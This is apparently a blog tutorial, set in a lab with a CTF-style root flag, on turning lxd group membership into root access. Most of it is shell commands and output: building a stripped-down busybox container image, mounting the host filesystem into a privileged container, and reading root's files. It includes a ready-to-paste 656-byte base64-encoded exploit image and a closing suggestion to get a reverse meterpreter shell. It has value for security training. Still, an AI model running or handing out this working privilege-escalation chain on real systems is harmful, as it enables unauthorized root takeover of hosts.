It is well-known that if you gain RCE as a user in the lxd group you can quite easily escalate your privileges to that of root. An example is at https://reboare.github.io/lxd/lxd-escape.html.
However, most examples on the Internet use something like the following to create the container:
lxc init ubuntu:16.04 test -c security.privileged=true
The problem with this is that you may be on a system that has restrictive network connectivity and no installed images; thus such a command may fail. Furthermore, for whatever reason, your RCE may not be an actual shell.
The easiest solution to this is to create your own image and upload that via an appropriate technique such as writing a base64 encoded file using echo and then decoding it; and one of the best of these is to use is a busybox template. We, however, aim to do better than that.
First, the busybox template on our test VM (running Ubuntu 18.04).
root:~# lxc-create m0noc -t busybox root:~# lxc-ls -f NAME STATE AUTOSTART GROUPS IPV4 IPV6 UNPRIVILEGED m0noc STOPPED 0 - - - false
The actual container is created in /var/lib/lxc thus.
root:~# cd /var/lib/lxc/m0noc/rootfs root:/var/lib/lxc/m0noc/rootfs# ls bin dev home lib64 null ram0 sbin sys tty tty1 urandom var console etc lib mnt proc root selinux tmp tty0 tty5 usr zero
We need to take a copy of the root filesystem as our baseline.
root:/var/lib/lxc/m0noc/rootfs# cd .. root:/var/lib/lxc/m0noc# tar cfj ~/busyboxOrig.tar.bz2 rootfs root:/var/lib/lxc/m0noc# cd ; mkdir container ; cd container root:~/container# tar xfj ../busyboxOrig.tar.bz2 root:~/container# ls rootfs
We now need to create a minimal yaml metadata file for lxc.
root:~/container# echo architecture: x86_64 > metadata.yaml root:~/container# echo creation_date: 1424284563 >> metadata.yaml root:~/container# cat metadata.yaml architecture: x86_64 creation_date: 1424284563
Now zip it all up and copy over to our real target. Note the size of the image. Whilst a lot smaller than an Ubuntu image it is still a good size. Yes; I'm using the same box for the lxc user demo; this wouldn't normally be the case.
root:~/container# tar cfj ../m0nocBusybox.tar.bz2 rootfs metadata.yaml root:~/container# cd .. root:~# ls -l m0nocBusybox.tar.bz2 -rw-r--r-- 1 root root 980879 Oct 16 12:58 m0nocBusybox.tar.bz2 root:~# cp m0nocBusybox.tar.bz2 /home/bob/ root:~# chown bob /home/bob/m0nocBusybox.tar.bz2
So as our lxc user lets make use of the new container image to gain access to a root.txt flag in the main vm.
bob:~$ id -a uid=1002(bob) gid=1006(bob) groups=1006(bob),108(lxd) bob:~$ cat /root/root.txt cat: /root/root.txt: Permission denied bob:~$ lxc image import m0nocBusybox.tar.bz2 --alias bobImage If this is your first time running LXD on this machine, you should also run: lxd init To start your first container, try: lxc launch ubuntu:16.04 Image imported with fingerprint: 13e9fb7ead9f0f09785b4e3203cfc52f42cd6ecdf371dbb5f07435c3d50bd560 bob:~$ lxc init bobImage bobVM -c security.privileged=true Creating bobVM bob:~$ lxc config device add bobVM realRoot disk source=/ path=r Device realRoot added to bobVM bob:~$ lxc start bobVM bob:~$ lxc exec bobVM -- cat /r/root/root.txt sup3rS5cr3tF1AgThatN0OneCanSee
Awesome. Now let's clear up.
bob:~$ lxc stop bobVM bob:~$ lxc delete bobVM bob:~$ lxc image delete bobImage
There are numerous ways to shrink the image significantly, the best of which is to use what is already there. Remember, a key differental between what we are doing and a normal container is that we want to increase our access. So, if we are mounting the entire filesystem then what we need is most probably already there.
In the busybox image, init and busybox are the one and the same hardlink (nb: the inode is going to be different for you):
root:~/container# find . -ls | fgrep 788059 788059 1976 -rwsr-sr-x 2 root root 2022480 Oct 16 12:50 ./rootfs/sbin/init 788059 1976 -rwsr-sr-x 2 root root 2022480 Oct 16 12:50 ./rootfs/bin/busybox
So lets take this step-by-step. First let's replace /sbin/init (the program lxc will run) with a symlink to the host's busybox. Within the container this will be in /r/bin/.
root:~/container/rootfs/sbin# ls -l total 1976 -rwsr-sr-x 2 root root 2022480 Oct 16 12:50 init root:~/container/rootfs/sbin# rm init root:~/container/rootfs/sbin# ln -s ./../bin/busybox init
Zip it up as before. Note that as we have broken the hard link the file size is still about the same.
root:~/container/rootfs/sbin# cd ../.. root:~/container# tar cfj ../m0nocBusybox2.tar.bz2 rootfs metadata.yaml root:~/container# cd .. root:~# ls -l m0nocBusybox2.tar.bz2 -rw-r--r-- 1 root root 984369 Oct 16 13:25 m0nocBusybox2.tar.bz2 root:~# cp m0nocBusybox2.tar.bz2 /home/bob/ root:~# chown bob /home/bob/m0nocBusybox2.tar.bz2
This time let's go into a shell when we run the exploit.
bob:~$ lxc image import m0nocBusybox2.tar.bz2 --alias bobImage Image imported with fingerprint: 9c6dec86d91932575b763fa899cbf3c4f3760101418cb51b1d9e78571e6d392a bob:~$ lxc init bobImage bobVM -c security.privileged=true Creating bobVM bob:~$ lxc config device add bobVM realRoot disk source=/ path=r Device realRoot added to bobVM bob:~$ lxc start bobVM bob:~$ lxc exec bobVM -- /bin/sh BusyBox v1.27.2 (Ubuntu 1:1.27.2-2ubuntu3) built-in shell (ash) Enter 'help' for a list of built-in commands. ~ # cat /r/root/root.txt sup3rS5cr3tF1AgThatN0OneCanSee ~ # /r/usr/bin/file /sbin/init /bin/sh: /r/usr/bin/file: not found ~ # ls -l /r/usr/bin/file -rwxr-xr-x 1 root root 22792 Jun 13 17:09 /r/usr/bin/file
What happened here? It works... but doesn't.
Let's have a look outside of the container.
root:~# file /usr/bin/file /usr/bin/file: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=ba74252751fddf2ef1b1d3bd2098c95550eee976, stripped
If you're use to linux, the (potential) issue is obvious. Look at the interpreter for the executable. As we haven't delt with the rest of the container that interpreter probably isn't there. Lets check.
~ # ls /lib64/ld-linux-x86-64.so.2 ls: /lib64/ld-linux-x86-64.so.2: No such file or directory ~ # ls /r/lib64/ld-linux-x86-64.so.2 ls: /r/lib64/ld-linux-x86-64.so.2: No such file or directory ~ # ls -l /r/lib64/ld-linux-x86-64.so.2 lrwxrwxrwx 1 root root 32 Apr 16 2018 /r/lib64/ld-linux-x86-64.so.2 -> /lib/x86_64-linux-gnu/ld-2.27.so ~ # ls /r/lib/x86_64-linux-gnu/ld-2.27.so /r/lib/x86_64-linux-gnu/ld-2.27.so
Look like this is right but wasn't the whole story. Not only wasn't it there but the host OS is using absolute paths in it's symbolic links. Lets run a quick test in the container.
~ # /r/lib/x86_64-linux-gnu/ld-2.27.so /r/usr/bin/file /sbin/init /r/usr/bin/file: error while loading shared libraries: libmagic.so.1: cannot open shared object file: No such file or directory
We're making progress. We are running /usr/bin/file but now have a so library issue. We can fix this ad-hoc by setting LD_LIBRARY_PATH or let's finish off re-engineering the image to something more useful.
After clearing up this container and image, we note that /dev has the correct devices loaded by the system so we can junk the metadevices in the virtual root.
root:~/container/rootfs# ls bin dev home lib64 null ram0 sbin sys tty tty1 urandom var console etc lib mnt proc root selinux tmp tty0 tty5 usr zero root:~/container/rootfs# rm console null ram0 tty tty0 tty1 tty5 urandom zero
Next, we note that it is probably easier to just keep /sbin as we have /sbin/init. I'll leave it as an exercise to improve on this.
We also note that we don't need home, mnt or selinux in this case.
root:~/container/rootfs# rmdir home mnt selinux
Finally we can symlink some of the other key directories to the host version to resolve our dynamic linker issue. It goes without saying; *make such you delete the right one*
root:~/container/rootfs# pwd /root/container/rootfs root:~/container/rootfs# rm -r usr bin lib lib64 root:~/container/rootfs# for a in usr bin lib lib64; do ln -s ./r/$a; done
We can now create a new container image.
root:~/container# tar cfj ../m0nocFinal.tar.bz2 rootfs metadata.yaml root:~/container# cd .. root:~# ls -l m0nocFinal.tar.bz2 -rw-r--r-- 1 root root 656 Oct 16 13:41 m0nocFinal.tar.bz2 root:~# base64 -w 0 m0nocFinal.tar.bz2 ; echo QlpoOTFBWSZTWaxzK54ABPR/p86QAEBoA//QAA3voP/v3+AACAAEgACQAIAIQAK8KAKCGURPUPJGRp6gNAAAAGgeoA5gE0wCZDAAEwTAAADmATTAJkMAATBMAAAEiIIEp5CepmQmSNNqeoafqZTxQ00HtU9EC9/dr7/586W+tl+zW5or5/vSkzToXUxptsDiZIE17U20gexCSAp1Z9b9+MnY7TS1KUmZjspN0MQ23dsPcIFWwEtQMbTa3JGLHE0olggWQgXSgTSQoSEHl4PZ7N0+FtnTigWSAWkA+WPkw40ggZVvYfaxI3IgBhip9pfFZV5Lm4lCBExydrO+DGwFGsZbYRdsmZxwDUTdlla0y27s5Euzp+Ec4hAt+2AQL58OHZEcPFHieKvHnfyU/EEC07m9ka56FyQh/LsrzVNsIkYLvayQzNAnigX0venhCMc9XRpFEVYJ0wRpKrjabiC9ZAiXaHObAY6oBiFdpBlggUJVMLNKLRQpDoGDIwfle01yQqWxwrKE5aMWOglhlUQQUit6VogV2cD01i0xysiYbzerOUWyrpCAvE41pCFYVoRPj/B28wSZUy/TaUHYx9GkfEYg9mcAilQ+nPCBfgZ5fl3GuPmfUOB3sbFm6/bRA0nXChku7aaN+AueYzqhKOKiBPjLlAAvxBAjAmSJWD5AqhLv/fWja66s7omu/ZTHcC24QJ83NrM67KACLACNUcnJjTTHCCDUIUJtOtN+7rQL+kCm4+U9Wj19YXFhxaXVt6Ph1ALRKOV9Xb7Sm68oF7nhyvegWjELKFH3XiWstVNGgTQTWoCjDnpXh9+/JXxIg4i8mvNobXGIXbmrGeOvXE8pou6wdqSD/F3JFOFCQrHMrng=
Let's test our 656 byte exploit.
bob:~$ echo QlpoOTFBWSZTWaxzK54ABPR/p86QAEBoA//QAA3voP/v3+AACAAEgACQAIAIQAK8KAKCGURPUPJGRp6gNAAAAGgeoA5gE0wCZDAAEwTAAADmATTAJkMAATBMAAAEiIIEp5CepmQmSNNqeoafqZTxQ00HtU9EC9/dr7/586W+tl+zW5or5/vSkzToXUxptsDiZIE17U20gexCSAp1Z9b9+MnY7TS1KUmZjspN0MQ23dsPcIFWwEtQMbTa3JGLHE0olggWQgXSgTSQoSEHl4PZ7N0+FtnTigWSAWkA+WPkw40ggZVvYfaxI3IgBhip9pfFZV5Lm4lCBExydrO+DGwFGsZbYRdsmZxwDUTdlla0y27s5Euzp+Ec4hAt+2AQL58OHZEcPFHieKvHnfyU/EEC07m9ka56FyQh/LsrzVNsIkYLvayQzNAnigX0venhCMc9XRpFEVYJ0wRpKrjabiC9ZAiXaHObAY6oBiFdpBlggUJVMLNKLRQpDoGDIwfle01yQqWxwrKE5aMWOglhlUQQUit6VogV2cD01i0xysiYbzerOUWyrpCAvE41pCFYVoRPj/B28wSZUy/TaUHYx9GkfEYg9mcAilQ+nPCBfgZ5fl3GuPmfUOB3sbFm6/bRA0nXChku7aaN+AueYzqhKOKiBPjLlAAvxBAjAmSJWD5AqhLv/fWja66s7omu/ZTHcC24QJ83NrM67KACLACNUcnJjTTHCCDUIUJtOtN+7rQL+kCm4+U9Wj19YXFhxaXVt6Ph1ALRKOV9Xb7Sm68oF7nhyvegWjELKFH3XiWstVNGgTQTWoCjDnpXh9+/JXxIg4i8mvNobXGIXbmrGeOvXE8pou6wdqSD/F3JFOFCQrHMrng= | base64 -d > bob.tar.bz2 bob:~$ lxc image import bob.tar.bz2 --alias bobImage Image imported with fingerprint: 8961bb8704bc3fd43269c88f8103cab4fccd55325dd45f98e3ec7c75e501051d bob:~$ lxc init bobImage bobVM -c security.privileged=true Creating bobVM bob:~$ lxc config device add bobVM realRoot disk source=/ path=r Device realRoot added to bobVM bob:~$ lxc start bobVM bob:~$ lxc exec bobVM -- /bin/sh # cat /r/root/root.txt sup3rS5cr3tF1AgThatN0OneCanSee # file /sbin/init /sbin/init: symbolic link to ./../bin/busybox # file ./../bin/busybox ./../bin/busybox: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=523ce489921940867ee1a8631dbfdd5753d84688, stripped # exit bob:~$ lxc stop bobVM bob:~$ lxc delete bobVM bob:~$ lxc image delete bobImage
So we now have a 656 byte lxc priv-esc which requires no external access to an image server or pre-installed images; which is a vast improvement of the normal method.
Whilst I usually find busybox with lxc this may not always be the case. There are other choices that may work out. Alternatively you could craft your own init or try and incorporate a metaspolit output with some lxc network config tweaks, for example, to get a reverse meterpreter. Experiment with ideas and hack the planet (if you have permission, of course ;-) )